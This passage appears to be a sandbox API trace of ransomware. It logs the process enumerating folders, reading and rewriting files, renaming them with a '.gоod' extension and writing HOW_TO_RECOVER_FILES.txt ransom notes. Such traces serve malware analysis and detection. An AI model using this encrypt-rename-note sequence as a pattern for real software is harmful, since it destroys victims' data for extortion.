nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3307e50*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0081.821] CloseHandle (hObject=0x798) returned 1 [0081.821] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0081.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0081.821] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0081.821] GetFileType (hFile=0x798) returned 0x1 [0081.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0081.821] GetFileType (hFile=0x798) returned 0x1 [0081.821] SetFilePointer (in: hFile=0x798, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x13c4a [0081.821] WriteFile (in: hFile=0x798, lpBuffer=0x33090c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x33090c0*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0081.822] CloseHandle (hObject=0x798) returned 1 [0081.825] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0081.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0081.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0081.825] GetFileType (hFile=0x798) returned 0x1 [0081.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0081.825] GetFileType (hFile=0x798) returned 0x1 [0081.825] ReadFile (in: hFile=0x798, lpBuffer=0x330b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x330b358*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0082.187] CloseHandle (hObject=0x798) returned 1 [0082.188] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0082.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0082.188] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0082.188] GetFileType (hFile=0x798) returned 0x1 [0082.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0082.188] GetFileType (hFile=0x798) returned 0x1 [0082.188] WriteFile (in: hFile=0x798, lpBuffer=0x3234d30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3234d30*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0082.188] CloseHandle (hObject=0x798) returned 1 [0082.191] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0082.191] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0082.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0082.191] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x2d336ca5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13c5a)) returned 1 [0082.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0082.191] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.gоod")) returned 1 [0082.192] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0082.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0082.192] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1029\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x798 [0082.192] GetFileType (hFile=0x798) returned 0x1 [0082.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0082.192] GetFileType (hFile=0x798) returned 0x1 [0082.193] WriteFile (in: hFile=0x798, lpBuffer=0x329eaa0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x329eaa0*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0082.193] CloseHandle (hObject=0x798) returned 1 [0082.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0082.194] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030", lpFilePart=0x0) returned 0x1a [0082.194] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0082.195] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.195] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0082.195] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0082.195] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0082.195] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0082.195] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0082.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0082.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0082.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0082.196] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030", lpFilePart=0x0) returned 0x1a [0082.196] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0082.196] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.196] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0082.196] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0082.196] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0082.197] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0082.197] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0082.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0082.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0082.197] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\eula.rtf", lpFilePart=0x0) returned 0x23 [0082.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0082.197] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x32add28 | out: lpFileInformation=0x32add28*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2)) returned 1 [0082.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0082.197] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\eula.rtf", lpFilePart=0x0) returned 0x23 [0082.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0082.197] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0082.197] GetFileType (hFile=0x798) returned 0x1 [0082.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0082.197] GetFileType (hFile=0x798) returned 0x1 [0082.197] GetFileSize (in: hFile=0x798, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xcf2 [0082.198] ReadFile (in: hFile=0x798, lpBuffer=0x32aec28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x32aec28*, lpNumberOfBytesRead=0x1f6edc28*=0xcf2, lpOverlapped=0x0) returned 1 [0082.199] CloseHandle (hObject=0x798) returned 1 [0082.226] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\eula.rtf", lpFilePart=0x0) returned 0x23 [0082.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0082.226] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0082.941] GetFileType (hFile=0x798) returned 0x1 [0082.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0082.941] GetFileType (hFile=0x798) returned 0x1 [0082.941] WriteFile (in: hFile=0x798, lpBuffer=0x341c028*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x341c028*, lpNumberOfBytesWritten=0x1f6edb38*=0xd00, lpOverlapped=0x0) returned 1 [0082.942] CloseHandle (hObject=0x798) returned 1 [0082.943] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\eula.rtf", lpFilePart=0x0) returned 0x23 [0082.943] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0082.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0082.943] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2da5dd64, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd00)) returned 1 [0082.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0082.943] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.gоod")) returned 1 [0082.948] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0082.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0082.948] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x341d1f0 | out: lpFileInformation=0x341d1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4)) returned 1 [0082.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0082.948] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0082.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0082.949] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0082.949] GetFileType (hFile=0x798) returned 0x1 [0082.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0082.949] GetFileType (hFile=0x798) returned 0x1 [0082.949] SetFilePointer (in: hFile=0x798, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0082.949] ReadFile (in: hFile=0x798, lpBuffer=0x341d5b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x341d5b8*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0082.950] CloseHandle (hObject=0x798) returned 1 [0082.950] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0082.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0082.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0082.951] GetFileType (hFile=0x798) returned 0x1 [0082.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0082.951] GetFileType (hFile=0x798) returned 0x1 [0082.951] SetFilePointer (in: hFile=0x798, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x12fb4 [0082.951] WriteFile (in: hFile=0x798, lpBuffer=0x341e828*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x341e828*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0082.951] CloseHandle (hObject=0x798) returned 1 [0082.954] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0082.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0082.954] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0082.954] GetFileType (hFile=0x798) returned 0x1 [0082.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0082.954] GetFileType (hFile=0x798) returned 0x1 [0082.954] ReadFile (in: hFile=0x798, lpBuffer=0x3420ac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x3420ac0*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0084.161] CloseHandle (hObject=0x798) returned 1 [0084.161] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0084.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0084.161] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0084.161] GetFileType (hFile=0x798) returned 0x1 [0084.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0084.161] GetFileType (hFile=0x798) returned 0x1 [0084.161] WriteFile (in: hFile=0x798, lpBuffer=0x3296540*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3296540*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0084.162] CloseHandle (hObject=0x798) returned 1 [0084.164] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0084.164] GetFullPathNameW (in: 